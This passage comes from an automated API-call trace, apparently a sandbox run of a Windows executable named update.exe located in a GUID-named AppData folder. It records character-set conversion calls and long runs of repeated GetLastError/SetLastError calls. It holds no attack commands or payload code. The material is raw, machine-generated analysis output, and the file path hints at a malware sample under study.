1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x31\x86\x10\x98\x9c\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0124.415] GetLastError () returned 0x0 [0124.415] SetLastError (dwErrCode=0x0) [0124.415] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0124.415] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6b8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿһﹲ뮓@Ā") returned 256 [0124.416] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿһﹲ뮓@Ā", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0124.416] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿһﹲ뮓@Ā", cchSrc=256, lpDestStr=0x18f4a8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ") returned 256 [0124.416] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ", cchWideChar=256, lpMultiByteStr=0x18fb64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x31\x86\x10\x98\x9c\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0124.416] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x48e318, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe")) returned 0x5b [0124.416] GetLastError () returned 0x0 [0124.416] SetLastError (dwErrCode=0x0) [0124.416] GetLastError () returned 0x0 [0124.416] SetLastError (dwErrCode=0x0) [0124.416] GetLastError () returned 0x0 [0124.416] SetLastError (dwErrCode=0x0) [0124.416] GetLastError () returned 0x0 [0124.416] SetLastError (dwErrCode=0x0) [0124.416] GetLastError () returned 0x0 [0124.416] SetLastError (dwErrCode=0x0) [0124.416] GetLastError () returned 0x0 [0124.416] SetLastError (dwErrCode=0x0) [0124.416] GetLastError () returned 0x0 [0124.416] SetLastError (dwErrCode=0x0) [0124.416] GetLastError () returned 0x0 [0124.417] SetLastError (dwErrCode=0x0) [0124.417] GetLastError () returned 0x0 [0124.417] SetLastError (dwErrCode=0x0) [0124.417] GetLastError () returned 0x0 [0124.417] SetLastError (dwErrCode=0x0) [0124.417] GetLastError () returned 0x0 [0124.417] SetLastError (dwErrCode=0x0) [0124.417] GetLastError () returned 0x0 [0124.417] SetLastError (dwErrCode=0x0) [0124.417] GetLastError () returned 0x0 [0124.417] SetLastError (dwErrCode=0x0) [0124.417] GetLastError () returned 0x0 [0124.474] SetLastError (dwErrCode=0x0) [0124.474] GetLastError () returned 0x0 [0124.474] SetLastError (dwErrCode=0x0) [0124.474] GetLastError () returned 0x0 [0124.475] SetLastError (dwErrCode=0x0) [0124.475] GetLastError () returned 0x0 [0124.475] SetLastError (dwErrCode=0x0) [0124.475] GetLastError () returned 0x0 [0124.475] SetLastError (dwErrCode=0x0) [0124.475] GetLastError () returned 0x0 [0124.475] SetLastError (dwErrCode=0x0) [0124.475] GetLastError () returned 0x0 [0124.475] SetLastError (dwErrCode=0x0) [0124.475] GetLastError () returned 0x0 [0124.475] SetLastError (dwErrCode=0x0) [0124.475] GetLastError () returned 0x0 [0124.475] SetLastError (dwErrCode=0x0) [0124.475] GetLastError () returned 0x0 [0124.475] SetLastError (dwErrCode=0x0) [0124.475] GetLastError () returned 0x0 [0124.475] SetLastError (dwErrCode=0x0) [0124.475] GetLastError () returned 0x0 [0124.475] SetLastError (dwErrCode=0x0) [0124.475] GetLastError () returned 0x0 [0124.475] SetLastError (dwErrCode=0x0) [0124.475] GetLastError () returned 0x0 [0124.475] SetLastError (dwErrCode=0x0) [0124.476] GetLastError () returned 0x0 [0124.476] SetLastError (dwErrCode=0x0) [0124.476] GetLastError () returned 0x0 [0124.476] SetLastError (dwErrCode=0x0) [0124.476] GetLastError () returned 0x0 [0124.476] SetLastError (dwErrCode=0x0) [0124.476] GetLastError () returned 0x0 [0124.476] SetLastError (dwErrCode=0x0) [0124.476] GetLastError () returned 0x0 [0124.476] SetLastError (dwErrCode=0x0) [0124.476] GetLastError () returned 0x0 [0124.476] SetLastError (dwErrCode=0x0) [0124.476] GetLastError () returned 0x0 [0124.476] SetLastError (dwErrCode=0x0) [0124.476] GetLastError () returned 0x0 [0124.476] SetLastError (dwErrCode=0x0) [0124.476] GetLastError () returned 0x0 [0124.476] SetLastError (dwErrCode=0x0) [0124.476] GetLastError () returned 0x0 [0124.476] SetLastError (dwErrCode=0x0) [0124.476] GetLastError () returned 0x0 [0124.476] SetLastError (dwErrCode=0x0) [0124.476] GetLastError () returned 0x0 [0124.477] SetLastError (dwErrCode=0x0) [0124.477] GetLastError () returned 0x0 [0124.477] SetLastError (dwErrCode=0x0) [0124.477] GetLastError () returned 0x0 [0124.477] SetLastError (dwErrCode=0x0) [0124.477] GetLastError () returned 0x0 [0124.477] SetLastError (dwErrCode=0x0) [0124.477] GetLastError () returned 0x0 [0124.477] SetLastError (dwErrCode=0x0) [0124.477] GetLastError () returned 0x0 [0124.477] SetLastError (dwErrCode=0x0) [0124.477] GetLastError () returned 0x0 [0124.477] SetLastError (dwErrCode=0x0) [0124.477] GetLastError () returned 0x0 [0124.477] SetLastError (dwErrCode=0x0) [0124.477] GetLastError () returned 0x0 [0124.477] SetLastError (dwErrCode=0x0) [0124.477] GetLastError () returned 0x0 [0124.477] SetLastError (dwErrCode=0x0) [0124.477] GetLastError () returned 0x0 [0124.477] SetLastError (dwErrCode=0x0) [0124.477] GetLastError () returned 0x0 [0124.478] SetLastError (dwErrCode=0x0) [0124.478] GetLastError () returned 0x0 [0124.478] SetLastError (dwErrCode=0x0) [0124.478] GetLastError () returned 0x0 [0124.478] SetLastError (dwErrCode=0x0) [0124.478] GetLastError () returned 0x0 [0124.478] SetLastError (dwErrCode=0x0) [0124.478] GetLastError () returned 0x0 [0124.478] SetLastError (dwErrCode=0x0) [0124.478] GetLastError () returned 0x0 [0124.478] SetLastError (dwErrCode=0x0) [0124.478] GetLastError () returned 0x0 [0124.478] SetLastError (dwErrCode=0x0) [0124.478] GetLastError () returned 0x0 [0124.478] SetLastError (dwErrCode=0x0) [0124.478] GetLastError () returned 0x0 [0124.478] SetLastError (dwErrCode=0x0) [0124.478] GetLastError () returned 0x0 [0124.478] SetLastError (dwErrCode=0x0) [0124.478] GetLastError () returned 0x0 [0124.478] SetLastError (dwErrCode=0x0) [0124.478] GetLastError () returned 0x0 [0124.478] SetLastError (dwErrCode=0x0) [0124.479] GetLastError () returned 0x0 [0124.479] SetLastError (dwErrCode=0x0) [0124.479] GetLastError () returned 0x0 [0124.479] SetLastError (dwErrCode=0x0) [0124.479] GetLastError () returned 0x0 [0124.479] SetLastError (dwErrCode=0x0) [0124.479] GetLastError () returned 0x0 [0124.479] SetLastError (dwErrCode=0x0) [0124.479] GetLastError () returned 0x0 [0124.479] SetLastError (dwErrCode=0x0) [0124.479] GetLastError () returned 0x0 [0124.479] SetLastError (dwErrCode=0x0) [0124.479] GetLastError () returned 0x0 [0124.479] SetLastError (dwErrCode=0x0) [0124.479] GetLastError () returned 0x0 [0124.479] SetLastError (dwErrCode=0x0) [0124.479] GetLastError () returned 0x0 [0124.479] SetLastError (dwErrCode=0x0) [0124.479] GetLastError () returned 0x0 [0124.479] SetLastError (dwErrCode=0x0) [0124.479] GetLastError () returned 0x0 [0124.479] SetLastError (dwErrCode=0x0) [0124.479] GetLastError () returned 0x0 [0124.480] SetLastError (dwErrCode=0x0) [0124.480] GetLastError () returned 0x0 [0124.480] SetLastError (dwErrCode=0x0) [0124.480] GetLastError () returned 0x0 [0124.480] SetLastError (dwErrCode=0x0) [0124.480] GetLastError () returned 0x0 [0124.480] SetLastError (dwErrCode=0x0) [0124.480] GetLastError () returned 0x0 [0124.480] SetLastError (dwErrCode=0x0) [0124.480] GetLastError () returned 0x0 [0124.480] SetLastError (dwErrCode=0x0) [0124.480] GetLastError () returned 0x0 [0124.480] SetLastError (dwErrCode=0x0) [0124.480] GetLastError () returned 0x0 [0124.480] SetLastError (dwErrCode=0x0) [0124.480] GetLastError () returned 0x0 [0124.480] SetLastError (dwErrCode=0x0) [0124.480] GetLastError () returned 0x0 [0124.480] SetLastError (dwErrCode=0x0) [0124.480] GetLastError () returned 0x0 [0124.480] SetLastError (dwErrCode=0x0) [0124.480] GetLastError () returned 0x0 [0124.480] SetLastError (dwErrCode=0x0) [0124.480] GetLastError () returned 0x0 [0124.481] SetLastError (dwErrCode=0x0) [0124.481] GetLastError () returned 0x0 [0124.481] SetLastError (dwErrCode=0x0) [0124.481] GetLastError () returned 0x0 [0124.481] SetLastError (dwErrCode=0x0) [0124.481] GetLastError () returned 0x0 [0124.481] SetLastError (dwErrCode=0x0) [0124.481] GetLastError () returned 0x0 [0124.481] SetLastError (dwErrCode=0x0) [0124.481] GetLastError () returned 0x0 [0124.481] SetLastError (dwErrCode=0x0) [0124.481] GetLastError () returned 0x0 [0124.481] SetLastError (dwErrCode=0x0) [0124.481] GetLastError () returned 0x0 [0124.481] SetLastError (dwErrCode=0x0) [0124.481] GetLastError () returned 0x0 [0124.481] SetLastError (dwErrCode=0x0) [0124.481] GetLastError () returned 0x0 [0124.481] SetLastError (dwErrCode=0x0) [0124.481] GetLastError () returned 0x0 [0124.481] SetLastError (dwErrCode=0x0) [0124.481] GetLastError () returned 0x0 [0124.482] SetLastError (dwErrCode=0x0) [0124.482] GetLastError () returned 0x0 [0124.482] SetLastError (dwErrCode=0x0) [0124.482] GetLastError () returned 0x0 [0124.482] SetLastError (dwErrCode=0x0) [0124.482] GetLastError () returned 0x0 [0124.483] SetLastError (dwErrCode=0x0) [0124.483] GetLastError () returned 0x0 [0124.483] SetLastError (dwErrCode=0x0) [0124.483] GetLastError () returned 0x0 [0124.483] SetLastError (dwErrCode=0x0) [0124.483] GetLastError () returned 0x0 [0124.483] SetLastError (dwErrCode=0x0) [0124.483] GetLastError () returned 0x0 [0124.483] SetLastError (dwErrCode=0x0) [0124.483] GetLastError () returned 0x0 [0124.483] SetLastError (dwErrCode=0x0) [0124.483] GetLastError () returned 0x0 [0124.483] SetLastError (dwErrCode=0x0) [0124.483] GetLastError () returned 0x0 [0124.483] SetLastError (dwErrCode=0x0) [0124.483] GetLastError () returned 0x0 [0124.483] SetLastError (dwErrCode=0x0) [0124.483] GetLastError () returned 0x0 [0124.483] SetLastError (dwErrCode=0x0) [0124.483] GetLastError () returned 0x0 [0124.483] SetLastError (dwErrCode=0x0) [0124.483] GetLastError () returned 0x0 [0124.484] SetLastError (dwErrCode=0x0) [0124.484] GetLastError () returned 0x0 [0124.484] SetLastError (dwErrCode=0x0) [0124.484] GetLastError () returned 0x0 [0124.484] SetLastError (dwErrCode=0x0) [0124.484] GetLastError () returned 0x0 [0124.484] SetLastError (dwErrCode=0x0) [0124.484] GetLastError () returned 0x0 [0124.484] SetLastError (dwErrCode=0x0) [0124.484] GetLastError () returned 0x0 [0124.484] SetLastError (dwErrCode=0x0) [0124.484] GetLastError () returned 0x0 [0124.484] SetLastError (dwErrCode=0x0) [0124.484] GetLastError () returned 0x0 [0124.484] SetLastError (dwErrCode=0x0) [0124.484] GetLastError () returned 0x0 [0124.484] SetLastError (dwErrCode=0x0) [0124.484] GetLastError () returned 0x0 [0124.484] SetLastError (dwErrCode=0x0) [0124.484] GetLastError () returned 0x0 [0124.484] SetLastError (dwErrCode=0x0) [0124.484] GetLastError () returned 0x0 [0124.485] SetLastError (dwErrCode=0x0) [0124.485] GetLastError () returned 0x0 [0124.485] SetLastError (dwErrCode=0x0) [0124.485] GetLastError () returned 0x0 [0124.485] SetLastError (dwErrCode=0x0) [0124.485] GetLastError () returned 0x0 [0124.485] SetLastError (dwErrCode=0x0) [0124.485] GetLastError () returned 0x0 [0124.485] SetLastError (dwErrCode=0x0) [0124.485] GetLastError () returned 0x0 [0124.485] SetLastError (dwErrCode=0x0) [0124.485] GetLastError () returned 0x0 [0124.485] SetLastError (dwErrCode=0x0) [0124.485] GetLastError () returned 0x0 [0124.485] SetLastError (dwErrCode=0x0) [0124.485] GetLastError () returned 0x0 [0124.485] SetLastError (dwErrCode=0x0) [0124.485] GetLastError () returned 0x0 [0124.485] SetLastError (dwErrCode=0x0) [0124.485] GetLastError () returned 0x0 [0124.485] SetLastError (dwErrCode=0x0) [0124.485] GetLastError () returned 0x0 [0124.485] SetLastError (dwErrCode=0x0) [0124.485] GetLastError () returned 0x0 [0124.486] SetLastError (dwErrCode=0x0) [0124.486] GetLastError () returned 0x0 [0124.486] SetLastError (dwErrCode=0x0) [0124.486] GetLastError () returned 0x0 [0124.486] SetLastError (dwErrCode=0x0) [0124.486] GetLastError () returned 0x0 [0124.486] SetLastError (dwErrCode=0x0) [0124.486] GetLastError () returned 0x0 [0124.486] SetLastError (dwErrCode=0x0) [0124.486] GetLastError () returned 0x0 [0124.486] SetLastError (dwErrCode=0x0) [0124.486] GetLastError () returned 0x0 [0124.486] SetLastError (dwErrCode=0x0) [0124.486] GetLastError () returned 0x0 [0124.486] SetLastError (dwErrCode=0x0) [0124.486] GetLastError () returned 0x0 [0124.486] SetLastError (dwErrCode=0x0) [0124.486] GetLastError () returned 0x0 [0124.486] SetLastError (dwErrCode=0x0) [0124.486] GetLastError () returned 0x0 [0124.486] SetLastError (dwErrCode=0x0) [0124.487] GetLastError () returned 0x0 [0124.487] SetLastError (dwErrCode=0x0) [0124.487] GetLastError () returned 0x0 [0124.487] SetLastError (dwErrCode=0x0) [0124.487] GetLastError () returned 0x0 [0124.487] SetLastError (dwErrCode=0x0) [0124.487] GetLastError () returned 0x0 [0124.487] SetLastError (dwErrCode=0x0) [0124.487] GetLastError () returned 0x0 [0124.487] SetLastError (dwErrCode=0x0) [0124.487] GetLastError () returned 0x0 [0124.487] SetLastError (dwErrCode=0x0) [0124.487] GetLastError () returned 0x0 [0124.487] SetLastError (dwErrCode=0x0) [0124.487] GetLastError () returned 0x0 [0124.487] SetLastError (dwErrCode=0x0) [0124.487] GetLastError () returned 0x0 [0124.487] SetLastError (dwErrCode=0x0) [0124.487] GetLastError () returned 0x0 [0124.487] SetLastError (dwErrCode=0x0) [0124.487] GetLastError () returned 0x0 [0124.488] SetLastError (dwErrCode=0x0) [0124.488] GetLastError () returned 0x0 [0124.488] SetLastError (dwErrCode=0x0) [0124.488] GetLastError () returned 0x0 [0124.488] SetLastError (dwErrCode=0x0) [0124.488] GetLastError () returned 0x0 [0124.488] SetLastError (dwErrCode=0x0) [0124.488] GetLastError () returned 0x0 [0124.488] SetLastError (dwErrCode=0x0) [0124.488] GetLastError () returned 0x0 [0124.488] SetLastError (dwErrCode=0x0) [0124.488] GetLastError () returned 0x0 [0124.488] SetLastError (dwErrCode=0x0) [0124.488] GetLastError () returned 0x0 [0124.488] SetLastError (dwErrCode=0x0) [0124.488] GetLastError () returned 0x0 [0124.488] SetLastError (dwErrCode=0x0) [0124.488] GetLastError () returned 0x0 [0124.488] SetLastError (dwErrCode=0x0) [0124.488] GetLastError () returned 0x0 [0124.488] SetLastError (dwErrCode=0x0) [0124.488] GetLastError () returned 0x0 [0124.489] SetLastError (dwErrCode=0x0) [0124.489] GetLastError () returned 0x0 [0124.489] SetLastError (dwErrCode=0x0) [0124.489] GetLastError () returned 0x0 [0124.489] SetLastError (dwErrCode=0x0) [0124.489] GetLastError () returned 0x0 [0124.489] SetLastError (dwErrCode=0x0) [0124.489] GetLastError () returned 0x0 [0124.489] SetLastError (dwErrCode=0x0) [0124.489] GetLastError () returned 0x0 [0124.489] SetLastError (dwErrCode=0x0) [0124.489] GetLastError () returned 0x0 [0124.489] SetLastError (dwErrCode=0x0) [0124.489] GetLastError () returned 0x0 [0124.489] SetLastError (dwErrCode=0x0) [0124.489] GetLastError () returned 0x0 [0124.489] SetLastError (dwErrCode=0x0) [0124.489] GetLastError () returned 0x0 [0124.489] SetLastError (dwErrCode=0x0) [0124.489] GetLastError () returned 0x0 [0124.489] SetLastError (dwErrCode=0x0) [0124.489] GetLastError () returned 0x0 [0124.490] SetLastError (dwErrCode=0x0) [0124.490] GetLastError () returned 0x0 [0124.490] SetLastError (dwErrCode=0x0) [0124.490] GetLastError () returned 0x0 [0124.490] SetLastError (dwErrCode=0x0) [0124.490] GetLastError () returned 0x0 [0124.490] SetLastError (dwErrCode=0x0) [0124.490] GetLastError () returned 0x0 [0124.490] SetLastError (dwErrCode=0x0) [0124.490] GetLastError () returned 0x0 [0124.490] SetLastError (dwErrCode=0x0) [0124.490] GetLastError () returned 0x0 [0124.490] SetLastError (dwErrCode=0x0) [0124.490] GetLastError () returned 0x0 [0124.490] SetLastError (dwErrCode=0x0) [0124.490] GetLastError () returned 0x0 [0124.490] SetLastError (dwErrCode=0x0) [0124.490] GetLastError () returned 0x0 [0124.490] SetLastError (dwErrCode=0x0) [0124.490] GetLastError () returned 0x0 [0124.490] SetLastError (dwErrCode=0x0) [0124.490] GetLastError () returned 0x0 [0124.491] SetLastError (dwErrCode=0x0) [0124.491] GetLastError () returned 0x0 [0124.491] SetLastError (dwErrCode=0x0) [0124.491] GetLastError () returned 0x0 [0124.491] SetLastError (dwErrCode=0x0) [0124.491] GetLastError () returned 0x0 [0124.491] SetLastError (dwErrCode=0x0) [0124.491] GetLastError () returned 0x0 [0124.491] SetLastError (dwErrCode=0x0) [0124.491] GetLastError () returned 0x0 [0124.491] SetLastError (dwErrCode=0x0) [0124.491] GetLastError () returned 0x0 [0124.491] SetLastError (dwErrCode=0x0) [0124.491] GetLastError () returned 0x0 [0124.491] SetLastError (dwErrCode=0x0) [0124.491] GetLastError () returned 0x0 [0124.491] SetLastError (dwErrCode=0x0) [0124.491] GetLastError () returned 0x0 [0124.491] SetLastError (dwErrCode=0x0) [0124.491] GetLastError () returned 0x0 [0124.491] SetLastError (dwErrCode=0x0) [0124.491] GetLastError () returned 0x0 [0124.492] SetLastError (dwErrCode=0x0) [0124.492] GetLastError () returned 0x0 [0124.492] SetLastError (dwErrCode=0x0) [0124.492] GetLastError () returned 0x0 [0124.492] SetLastError (dwErrCode=0x0) [0124.492] GetLastError () returned 0x0 [0124.492] SetLastError (dwErrCode=0x0) [0124.492] GetLastError () returned 0x0 [0124.492] SetLastError 